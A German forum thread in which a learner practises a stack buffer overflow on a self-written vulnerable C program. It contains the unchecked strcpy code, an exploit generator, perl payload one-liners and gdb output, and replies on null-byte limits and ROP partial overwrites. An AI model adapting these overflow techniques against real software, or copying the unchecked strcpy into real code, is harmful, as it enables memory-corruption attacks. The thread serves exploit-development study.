Nullbytes in der Rücksprungadresse

Hallo allerseits!

Ich versuche mich zZt an Buffer overflows.

Zuerst mein Code damit alles schlüssig ist:

vuln.c

Code:
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>



void bar()
{
  printf("Huh :o\n");
}

void foo()
{
  printf("Pf! :/\n");
}

int main(int argc, char **argv[])
{
  char blah[128];
  
  strcpy(blah, argv[1]);
  
  foo();
  
  return 0;
}


exploit.c

Code:
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int args, char **argv) 
{ 
        int i = 0; 

       for(i = 0; i < 139; i++) 
                printf("A"); 
 
        unsigned EIP = 0x0040052c; 
        fwrite(&EIP, 1, 4, stdout); 

        return 0; 
}

Meine Rücksprungadresse (ich will die Funktion "bar" aufrufen):

Code:
(gdb) disas bar
Dump of assembler code for function bar:
   0x000000000040052c <+0>:	push   %rbp

Habe nun folgendes Problem.

Meine Rücksprungadresse enthält Zerobytes (0x00...), sodass diese ignoriert werden bzw. den String terminieren wenn ich sie als Argument übergebe. Beispiel:

Code:
[erdnuss@tamer ~]$ gdb vuln  
GNU gdb (GDB) 7.4
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/erdnuss/vuln...(no debugging symbols found)...done.
(gdb) run `./exploit`
Starting program: /home/erdnuss/vuln `./exploit`
Pf! :/

Program received signal SIGSEGV, Segmentation fault.
0x000040052c414141 in ?? ()
(gdb)

Wie kann ich das Problem lösen und eine gültige Rücksprungadresse in diesem Buffer Overflow übergeben?

Greets Tamer aka Erdnuss ;)
 
Zuletzt bearbeitet:
Bei stringbasierten Bufferoverflows á la strcpy() dürfen keine Nullbytes vorhanden sein, deshalb muss Shellcode gewählt werden, der keine enthält ;)
 
Sorry für Doppelpost, aber eine relativ interessante Frage hat sich doch noch ergeben:

Ich lade den Shellcode jetzt aus einer Umgebungsvariable, allerdings habe ich das Gefühl, dass eine Art Stack Protection aktiviert ist (sofern man es im diesen Fall so nennen kann, ich kompiliere ja schon mit -fno-stack-protector).

In diesem Beispiel funktioniert es 1 A:

Code:
[tamer@erdnuss ~]$ export SHELLCODE="`perl -e 'print "A"x136; print "\xbc\x05\x40\x90\x90"'`"
[tamer@erdnuss ~]$ gdb vuln
GNU gdb (GDB) 7.4
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/tamer/vuln...done.
(gdb) run
Starting program: /home/tamer/vuln 

Program received signal SIGSEGV, Segmentation fault.
0x00000090904005bc in ?? ()
(gdb)


Allerdings kommen jetzt wieder die Nullbytes ins Spiel. Wenn ich anstatt \x90\x90 => \x00\x00 verwende, um eigentlich auf den richtigen Pointer zu springen, werden mir auf einmal komische Werte in meine Rücksprungadresse geschrieben:

Code:
[tamer@erdnuss ~]$ export SHELLCODE="`perl -e 'print "A"x136; print "\xbc\x05\x40\x00\x00"'`"
[tamer@erdbnuss ~]$ gdb vuln
GNU gdb (GDB) 7.4
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/tamer/vuln...done.
(gdb) run
Starting program: /home/tamer/vuln 

Program received signal SIGSEGV, Segmentation fault.
0x00007fff004005bc in ?? ()
(gdb)

Woran liegt das nun wieder, jemand ne Idee?

Die Register sehen folgendermaßen aus:

Code:
(gdb) info reg
rax            0x0	0
rbx            0x0	0
rcx            0x40070a	4196106
rdx            0x7ffff7dd77c0	140737351874496
rsi            0x40070a	4196106
rdi            0x0	0
rbp            0x4141414141414141	0x4141414141414141
rsp            0x7fffffffe710	0x7fffffffe710
r8             0x0	0
r9             0x40070a	4196106
r10            0x400709	4196105
r11            0x0	0
r12            0x4004b0	4195504
r13            0x7fffffffe7e0	140737488349152
r14            0x0	0
r15            0x0	0
rip            0x7fff004005bc	0x7fff004005bc
eflags         0x10202	[ IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
---Type <return> to continue, or q <return> to quit---
gs             0x0	0
(gdb)
Greets tamer
 
Zuletzt bearbeitet:
Und was ist jetzt an der Rücksprungaddresse so ungewöhnlich?? Du überschreibst genau 3 Bytes von jener, weil strcpy(3) ja beim ersten NULL-Byte aufhört weiter zu kopieren.

Um den Bug trotzdem noch exploiten zu können, rate ich dir, nach einem geeigneten ROP-Gadget in der Nähe von der originalen Rücksprungaddresse zu suchen, und dann je nachdem, nur 1-2 bytes von der Rücksprungaddresse zu überschreiben.
 
Zurück
Oben